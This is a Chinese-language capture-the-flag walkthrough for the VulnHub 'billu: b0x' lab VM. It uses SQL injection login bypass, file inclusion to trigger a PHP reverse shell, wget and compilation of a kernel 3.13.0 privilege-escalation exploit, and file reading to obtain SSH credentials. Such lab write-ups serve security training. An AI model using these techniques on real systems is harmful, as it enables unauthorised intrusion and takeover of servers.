billu: b0x ~ VulnHub
导入时需要注意:MAC地址需要全选,不然发现不了IP
arp-scan -l
nmap -p- 192.168.56.107
nmap -p22,80 -sV -sC 192.168.56.107
直接nmap -A 192.168.56.107 也是可以的
22/tcp open ssh OpenSSH 5.9p1 Debian 5ubuntu1.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 1024 fa:cf:a2:52:c4:fa:f5:75:a7:e2:bd:60:83:3e:7b:de (DSA)
| 2048 88:31:0c:78:98:80:ef:33:fa:26:22:ed:d0:9b:ba:f8 (RSA)
|_ 256 0e:5e:33:03:50:c9:1e:b3:e7:51:39:a4:4a:10:64:ca (ECDSA)
80/tcp open http Apache httpd 2.2.22 ((Ubuntu))
|_http-title: --==[[IndiShell Lab]]==--
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-server-header: Apache/2.2.22 (Ubuntu)
进去网页一眼看出SQL注入。那就尝试下万能密码,不行直接上工具爆破
使用kali的字典:
payload1 选择/usr/share/seclists/Fuzzing/SQLi/Generic-SQLi.txt
文件,payload2 选择 burp自带的字典Fuzzing - SQL injection
然后我们筛选下结果:
只能先这么上传了。这样也没法利用。因为不能解析,看看存不存在文件包含漏洞
路径很容易找
dirsearch -u http://192.168.56.107
发现了add.php 就是文件上传的功能
为什么还单独搞一个add.php 呢。难道包含文件了吗,我们点add user 抓包查看下:
从这里看到抓包显示了add这个参数,那我们去测试下是否包含文件了
但是经过我们的测试,无法进行包含我们的png文件
那我们换种木马进行测试:使用反弹shell木马
使用kali下的/usr/share/webshells/php/php-reverse-shell.php
,用于nc反弹shell。修改下配置
跟上次上传的方法一样:kali上监听端口,然后这里利用文件包含执行
成功反弹shell,升级shell
查看系统版本:3.13.0
kali查漏洞
searchsploit 3.13.0
把文件弄出来,改个名方便操作,开启http服务在靶机下载文件
下载文件:注意开放的端口
wget http://192.168.56.102:8000/exp.c
gcc exp.c -o exp //编译
chmod +x exp
./exp
还记得在目录扫描时发现了test.php吗。打开内容很明显,测试下但是没用,抓包看一下
建议以后GET请求转POST请求的包时,先发GET然后直接在burp中使用
我手动添加请求测试了很多次都不行,最后把整个GET请求的包转换才没问题
通过观察发现这里似乎更像是文件读取
还可以分析下sql语句:转义 \ 为 空格
$uname=str_replace('\'','',urldecode($_POST['un']));
$pass=str_replace('\'','',urldecode($_POST['ps']));
$run='select * from auth where pass=\''.$pass.'\' and uname=\''.$uname.'\'';
语句可以转换为
$run='select * from auth where pass=''.$pass.'' and uname=''.$uname.''';
$run='select * from auth where pass='pass' and uname='uname'';
我们在pass中输入的是 \ 那么带进去也就是 ' \' ==》 ' '
我们在uname中输入的是 or 1=1 # 带进去 ' or 1=1 # '' #后面注释掉
$run='select * from auth where pass=' ' and uname=' or 1=1#
所以上面的sql语句就是闭合的 但是后面的 or 1=1 # 是永真的
继续访问文件:
目录扫描得到的phpmy目录就是数据库管理界面
也能发现登录密码
继续目录扫描:看看有什么把
dirsearch -u http://192.168.56.107/phpmy/
再利用漏洞读文件:
看着像系统密码:本机还开启了ssh服务。直接测试下
ssh [email protected]
出现报错是因为上次连接过但是而且与上次记录的不同,使用
ssh-keygen -R 192.168.56.107
这样就结束了